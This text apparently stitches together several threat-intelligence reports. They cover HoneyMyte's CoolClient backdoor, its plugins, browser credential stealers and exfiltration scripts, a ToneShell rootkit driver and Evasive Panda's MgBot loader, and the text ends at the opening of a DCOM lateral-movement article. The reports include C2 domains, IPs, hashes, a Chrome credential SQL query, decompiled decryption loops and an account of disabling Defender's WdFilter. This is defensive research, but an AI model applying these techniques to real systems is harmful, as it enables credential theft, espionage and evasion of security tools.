The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
C2 command handler
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
Magic value
Command category
CC BB AA FF
Beaconing, status update, configuration.
CD BB AA FF
Operational commands such as tunnelling, keylogging and file operations.
No magic value
Receive and execute plugin module in memory.
0xFFAABBCC – Beacon and configuration commands
Below is the command menu to manage client status and beaconing:
Command ID
Action
0x0
Send beacon connection
0x1
Update beacon timestamp
0x2
Enumerate active user sessions
0x3
Handle incoming C2 command
0xFFAABBCD – Operational commands
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
Command ID
Action
0x0
Set up reverse tunnel connection
0x1
Send data through tunnel
0x2
Close tunnel connection
0x3
Set up reverse proxy
0x4
Shut down a specific socket
0x6
List files in a directory
0x7
Delete file
0x8
Set up keylogger
0x9
Terminate keylogger thread
0xA
Get clipboard data
0xB
Install clipboard and active windows monitor
0xC
Turn off clipboard and active windows monitor
0xD
Read and send file
0xE
Delete file
CoolClient plugins
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
ServiceMgrS.dll – Service management plugin
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
Command ID
Action
0x0
Enumerate services
0x1 / 0x4
Start or resume service
0x2
Stop service
0x3
Pause service
0x5
Create service
0x6
Delete service
0x7
Set service to start automatically at boot
0x8
Set service to be launched manually
0x9
Set service to disabled
FileMgrS.dll – File management plugin
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
Command ID
Action
0x0
List drives and network resources
0x1
List files in folder
0x2
Delete file or folder
0x3
Create new folder
0x4
Move file
0x5
Read file
0x6
Write data to file
0x7
Compress file or folder into ZIP archive
0x8
Execute file
0x9
Download and execute file using certutil
0xA
Search for file
0xB
Send search result
0xC
Map network drive
0xD
Set chunk size for file transfers
0xF
Bulk copy or move
0x10
Get file metadata
0x11
Set file metadata
RemoteShellS.dll – Remote shell plugin
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
Browser login data stealer
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
Variant
Targeted browser(s)
Execution method
MD5 hash
A
Chrome
Direct execution (PE32)
1A5A9C013CE1B65ABC75D809A25D36A7
B
Edge
Direct execution (PE32)
E1B7EF0F3AC0A0A64F86E220F362B149
C
Chromium-based browsers
DLL side-loading
DA6F89F15094FD3F74BA186954BE6B05
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
Initial infection
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.
Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:
In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database:
SELECT origin_url, username_value, password_value FROM logins
This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Login data stealer’s attribution
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
Document theft and system information reconnaissance scripts
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
1.bat – System enumeration and data exfiltration batch script
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
Ttraazcs32.ps1 – PowerShell-based collection and exfiltration
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
t.ps1 – Saved login data collection and exfiltration
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Conclusion
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.
Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.
The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.
Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.
Compromised digital certificate
The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.
We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.
Technical details of the malicious driver
The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.
The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.
API resolution
To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.
The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.
Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.
The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.
Protection of the driver file
The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:
FileRenameInformation
FileDispositionInformation
FileRenameInformationBypassAccessCheck
FileDispositionInformationEx
FileRenameInformationEx
FileRenameInformationExBypassAccessCheck
These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.
Protection of registry keys
The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:
ProjectConfiguration
ProjectConfiguration\Instances
ProjectConfiguration Instance
To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.
The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.
The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:
RegNtPreCreateKey
RegNtPreOpenKey
RegNtPreCreateKeyEx
RegNtPreOpenKeyEx
Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.
Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.
Protection of user-mode processes
The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.
Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.
This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.
The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.
Payload injection
The driver delivers two user-mode payloads.
The first payload spawns an svchost process and injects a small delay-inducing shellcode. The PID of this new svchost instance is written to a file for later use.
The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.
Injection workflow:
The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.
After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.
Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.
ToneShell backdoor
The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.
Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.
The samples we have analyzed contact two command-and-control servers:
avocadomechanism[.]com
potherbreference[.]com
ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.
Packet layout:
Header (3 bytes): Fake TLS marker
Size (2 bytes): Payload length
Payload: Encrypted with a rolling XOR key
The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:
Command ID
Description
0x1
Create temporary file for incoming data
0x2 / 0x3
Download file
0x4
Cancel download
0x7
Establish remote shell via pipe
0x8
Receive operator command
0x9
Terminate shell
0xA / 0xB
Upload file
0xC
Cancel upload
0xD
Close connection
Conclusion
We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.
HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.
Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.
Recommendations
To protect themselves against this threat, organizations should:
Implement robust network security measures, such as firewalls and intrusion detection systems.
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}
After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
Multi-stage shellcode execution
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}
The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
Secondary loader
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Victims
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
Attribution
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
Conclusion
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
If you’re a penetration tester, you know that lateral movement is becoming increasingly difficult, especially in well-defended environments. One common technique for remote command execution has been the use of DCOM objects.
Over the years, many different DCOM objects have been discovered. Some rely on native Windows components, others depend on third-party software such as Microsoft Office, and some are undocumented objects found through reverse engineering. While certain objects still work, others no longer function in newer versions of Windows.
This research presents a previously undescribed DCOM object that can be used for both command execution and potential persistence. This new technique abuses older initial access and persistence methods through Control Panel items.
First, we will discuss COM technology. After that, we will review the current state of the Impacket dcomexec script, focusing on objects that still function, and discuss potential fixes and improvements, then move on to techniques for enumerating objects on the system. Next, we will examine Control Panel items, how adversaries have used them for initial access and persistence, and how these items can be leveraged through a DCOM object to achieve command execution.
Finally, we will cover detection strategies to identify and respond to this type of activity.
COM/DCOM technology
What is COM?
